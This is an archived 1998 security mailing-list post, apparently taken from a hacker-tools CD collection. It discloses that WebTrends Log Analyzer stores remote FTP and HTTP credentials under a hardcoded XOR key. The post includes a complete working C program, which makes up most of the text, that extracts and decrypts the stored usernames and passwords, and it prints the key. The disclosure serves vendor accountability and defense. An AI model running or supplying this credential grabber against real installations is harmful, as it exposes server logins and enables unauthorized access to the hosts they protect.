home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / webtrends-passwd-grab.c < prev   
Encoding:
C/C++ Source or Header  |  1998-10-19  |  7.6 KB  |  224 lines

  1. Date: Thu, 20 Aug 1998 07:26:44 -0400
  2. From: Chris Wilson <cwilso03@HARRIS.COM>
  3. Subject: WebTrends Log Analyzer password grabber
  4.  
  5. ----------
  6. X-Sun-Data-Type: text
  7. X-Sun-Data-Description: text
  8. X-Sun-Data-Name: text
  9. X-Sun-Charset: us-ascii
  10. X-Sun-Content-Lines: 65
  11.  
  12. I put the following together back in June and was reminded I didn't
  13. send it out when I saw the QuickBooks password grabber exploit posted
  14. yesterday.  Sorry for the lengthy message; I was frustrated with
  15. WebTrends' response when I wrote it.
  16.  
  17. The code's attached.
  18.  
  19. -Chris
  20.  
  21.  
  22. -----BEGIN PGP SIGNED MESSAGE-----
  23.  
  24. The WebTrends Log Analyzer (http://www.webtrends.com/) is a reporting
  25. tool to allow web admins to generate website usage reports from web
  26. server logfiles.  The tool is able to retrieve logfiles remotely via
  27. HTTP or FTP to do the reporting.
  28.  
  29. The problem is that any FTP and HTTP username and password information
  30. used to access the web server's log files is insecurely stored in
  31. configuration files.  Specifically, the information is XOR'ed with a
  32. hardcoded 16-byte key.  If the username and/or password exceed 16
  33. characters, the key wraps around and is reused.
  34.  
  35. What makes the issue worse is, in using FTP or HTTP where a username
  36. and password are required, there is no option in the program to *NOT*
  37. save the username and password information.  If you leave the password
  38. field empty, the connection to the web server fails.
  39.  
  40. Granted, this vulnerability is only an issue if an unauthorized user
  41. can access the configuration files for the Log Analyzer.  But, if the
  42. software is put on a fileserver, anyone with fileserver access is (by
  43. default) able to read the configuration files, making the web server's
  44. host vulnerable.
  45.  
  46. I contacted WebTrends over a month ago about the vulnerability; the
  47. people I talked with dismissed the issue and for the last three weeks
  48. have ignored my attempts to contact them.
  49.  
  50. The following simple little C program will take the data file name and
  51. pull out the username/password information.
  52.  
  53. If you use the WebTrends Log Analyzer, the only recommended workaround
  54. is to not use its remote connection capabilities where a username
  55. and password are required.
  56.  
  57. - -Chris
  58. +----------------------------------------------------------------------+
  59. | Christopher Wilson                   chris.wilson@harris.com         |
  60. | Harris Corporation               +-----------------------------+     |
  61. | 1025 W Nasa Blvd, MS 75             For PGP public key, finger       |
  62. | Melbourne, FL 32919               cwilso03@lurch.corp.harris.com     |
  63. +----------------------------------------------------------------------+
  64. (cwilson) ~cwilson% /usr/local/bin/fortune
  65. 43rd Law of Computing:
  66.         Anything that can go wr
  67. Segmentation Fault (core dumped)
  68.  
  69. -----BEGIN PGP SIGNATURE-----
  70. Version: 2.6.2
  71.  
  72. iQB1AwUBNZK5ZPwnuQEQYhQZAQFmfgL/RhhAph9vq1GEOtH2qvvq7JC2B5crGOFK
  73. nH7uUL5DWd6d0eMp5TpLqBU+HsqjeOnFQpzFHO+xclsaAFfbXvsw0Xu53AA/0IeZ
  74. OFq2VkDFnQ6ZbFv1mMSTR2mOaqOHLfDT
  75. =a311
  76. -----END PGP SIGNATURE-----
  77. ----------
  78. X-Sun-Data-Type: c-file
  79. X-Sun-Data-Description: c-file
  80. X-Sun-Data-Name: main.c
  81. X-Sun-Charset: us-ascii
  82. X-Sun-Content-Lines: 140
  83.  
  84. /*
  85.  *  WebTrends data file username/password cracker
  86.  *
  87.  *  The WebTrends Log Analyzer is a reporting tool to allow web admins
  88.  *  to generate website usage reports from server logfiles.  The Analyzer
  89.  *  is able to retrieve logfiles remotely via HTTP or FTP to do the
  90.  *  reporting.  Username and password information for the remote FTP server
  91.  *  or secure HTTP server access is stored in a file with a ".wlp" extension
  92.  *  in the directory <WebTrends_base_dir>\wtm_log\datfiles.  This file looks
  93.  *  basically like a Windows "ini" file, and contains information about the
  94.  *  "Web Log Profile" configured in the Log Analyzer software.
  95.  *
  96.  *  The username and password strings are "encrypted" with a simple XOR cipher
  97.  *  using a 16-byte key (0x1206f0c3903d0328e023ab00912feabc).  If the username
  98.  *  and/or password exceed 16 characters, the key wraps around and is reused.
  99.  *
  100.  *  The following C program will take the data file name and pull out the
  101.  *  username/password information.
  102.  *
  103.  *  The program was written and compiled on Solaris 2.5.1, but should work
  104.  *  on any platform (UN*X or Windows) where the offset returned by ftell() is
  105.  *  in bytes.
  106.  *
  107.  *  Disclaimer:  This program and the information and algorithms contained
  108.  *               within it are for educational purposes only!  Neither I nor
  109.  *               Harris Corporation are responsible for how it is used or
  110.  *               events resulting from its use.
  111.  *
  112.  *  You can do what you want with this code as long as this header block
  113.  *  remains intact.
  114.  *
  115.  *  To compile:   gcc -o blah main.c
  116.  *
  117.  *  To run:       blah  (for all you non-coders out there....)
  118.  *
  119.  *  Note:  This was tested against WebTrends Log Analyzer version 4.1a,
  120.  *         Build Date 3/24/1998, Build Number 1026
  121.  *
  122.  *  By:  Christopher Wilson (chris.wilson@harris.com) on 05/21/1998
  123.  *
  124.  */
  125.  
  126.  
  127. #include <stdio.h>
  128. #include <stdlib.h>
  129. #include <string.h>
  130.  
  131. int main ()
  132.   {
  133.   char filename[FILENAME_MAX];
  134.   FILE *ifp;
  135.   long len;
  136.   unsigned char *file_data = 0;
  137.   unsigned char *token = 0;
  138.   unsigned char line_sep[3] = { 0x0a, 0x0d, 0x00 };
  139.  
  140.   /* get the data file name */
  141.   printf("Enter path to WebTrends .wlp file:\n");
  142.   printf("(hint:  try <WebTrends_base_dir>\\wtm_log\\datfiles\\*.wlp):  ");
  143.  
  144.   fgets(filename, sizeof(filename), stdin);
  145.  
  146.   if (filename[strlen(filename) - 1] == '\n')
  147.     {
  148.     filename[strlen(filename) - 1] = 0;
  149.     }
  150.  
  151.   if ((ifp = fopen(filename, "rb")) == 0)
  152.     {
  153.     fprintf(stderr, "*** Error opening file '%s'.  Exiting...\n", filename);
  154.     return(1);
  155.     }
  156.  
  157.   /* figure out the size of the file and malloc space to hold its data */
  158.   if (fseek(ifp, 0, SEEK_END) == -1)
  159.     {
  160.     fprintf(stderr, "*** Error determining file size for file '%s'.  Exiting...\n", filename);
  161.     return(1);
  162.     }
  163.  
  164.   len = ftell(ifp);
  165.   rewind(ifp);
  166.  
  167.   file_data = (unsigned char *)malloc(len * sizeof(unsigned char));
  168.  
  169.   /* now read it in */
  170.   if (fread(file_data, sizeof(unsigned char), len, ifp) == 0)
  171.     {
  172.     perror("Error reading file");
  173.     }
  174.  
  175.   /*
  176.    * process each line of the file, looking for the lines that start with
  177.    * "LogFileUsername" or "LogFilePassword".  These are the ones to crack.
  178.    */
  179.   token = (unsigned char *)strtok(file_data, line_sep);
  180.   while (token != 0)
  181.     {
  182.     if ((strncmp(token, "LogFileUsername", strlen("LogFileUsername")) == 0) ||
  183.         (strncmp(token, "LogFilePassword", strlen("LogFilePassword")) == 0))
  184.       {
  185.       /* found a relevant line */
  186.       unsigned char *encrypt_start = (unsigned char *)strchr(token, '=') + 1;
  187.       if (encrypt_start == (unsigned char *)1)
  188.         {
  189.         fprintf(stderr, "*** Log file corrupted, reading line that says:\n%s\n",
  190.                 token);
  191.         }
  192.       else
  193.         {
  194.         /* this is the XOR cipher's 16-byte key (duh) */
  195.         unsigned char key[16] = { 0x12, 0x06, 0xf0, 0xc3,
  196.                                   0x90, 0x3d, 0x03, 0x28,
  197.                                   0xe0, 0x23, 0xab, 0x00,
  198.                                   0x91, 0x2f, 0xea, 0xbc };
  199.         char label[16];
  200.         int count = 0;
  201.  
  202.         /*
  203.          * this is just so we can label the output as "Username" or
  204.          * "Password".
  205.          */
  206.         memset(label, 0, sizeof(label));
  207.         strncpy(label, token, 15);
  208.         printf("%s = '", label);
  209.  
  210.         /* now let's "decrypt" the bytes of the username/password */
  211.         while (encrypt_start[count] != 0)
  212.           {
  213.           printf("%c", encrypt_start[count] ^ key[count % 16]);
  214.           count++;
  215.           }
  216.         printf("' (without the quotes ('))\n");
  217.         }
  218.       }
  219.     token = (unsigned char *)strtok(0, line_sep);
  220.     }
  221.   free(file_data);
  222.   return(0);
  223.   }
  224.